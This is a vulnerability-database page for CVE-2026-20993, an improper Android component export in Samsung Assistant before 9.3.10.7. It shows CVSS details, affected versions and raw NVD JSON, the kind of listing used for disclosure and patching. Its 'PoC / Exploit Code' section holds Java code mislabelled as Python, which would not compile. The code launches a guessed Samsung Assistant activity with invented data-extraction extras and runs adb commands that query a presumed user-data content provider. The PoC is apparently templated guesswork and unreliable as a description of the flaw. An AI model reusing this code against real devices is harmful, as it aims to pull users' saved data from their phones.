Security Vulnerability Report
中文
CVE-2026-20993 CVSS 5.5 MEDIUM

CVE-2026-20993

Published: 2026-03-16 14:18:10
Last Modified: 2026-04-07 00:37:35

Description

Improper export of android application components in Samsung Assistant prior to version 9.3.10.7 allows local attacker to access saved information.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:assistant:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Assistant < 9.3.10.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20993 PoC - Samsung Assistant Component Export Vulnerability // This PoC demonstrates how a local attacker can exploit improper component export // to access saved information in Samsung Assistant prior to version 9.3.10.7 package com.example.cve202620993poc; import android.content.ComponentName; import android.content.Intent; import android.content.pm.PackageManager; import android.os.Bundle; import android.util.Log; public class ExploitActivity { private static final String TAG = "CVE-2026-20993"; private static final String TARGET_PACKAGE = "com.samsung.android.svoiceime"; // Target component - specific component name requires reverse engineering // Common patterns: .MainActivity, .AssistantService, .DataProvider private static final String TARGET_COMPONENT = "com.samsung.android.svoiceime.MainActivity"; public void exploitVulnerability() { try { // Check if target app is installed PackageManager pm = getPackageManager(); pm.getPackageInfo(TARGET_PACKAGE, PackageManager.GET_ACTIVITIES); // Method 1: Direct component access via Intent Intent intent = new Intent(); intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_COMPONENT)); intent.setAction(Intent.ACTION_MAIN); // Add sensitive data extraction flags intent.putExtra("extract_user_data", true); intent.putExtra("export_data", true); // Start the exported component startActivity(intent); Log.i(TAG, "Exploit sent to Samsung Assistant component"); // Method 2: Query exported Content Provider if available // Uri contentUri = Uri.parse("content://" + TARGET_PACKAGE + ".provider/user_data"); // Cursor cursor = getContentResolver().query(contentUri, null, null, null, null); } catch (Exception e) { Log.e(TAG, "Exploit failed: " + e.getMessage()); } } // Method 3: Using adb for verification (requires USB debugging enabled) // adb shell am start -n com.samsung.android.svoiceime/.MainActivity -d "test" // adb shell content query --uri content://com.samsung.android.svoiceime.provider/user_data } // Mitigation: Samsung has fixed this in version 9.3.10.7 // Users should update Samsung Assistant to the latest version

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20993", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:10.147", "lastModified": "2026-04-07T00:37:35.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper export of android application components in Samsung Assistant prior to version 9.3.10.7 allows local attacker to access saved information."}, {"lang": "es", "value": "Exportación indebida de componentes de aplicación de Android en Samsung Assistant anterior a la versión 9.3.10.7 permite al atacante local acceder a la información guardada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:assistant:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.3.10.7", "matchCriteriaId": "0390EDD5-280E-4617-BC49-F5EDA21E4A77"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}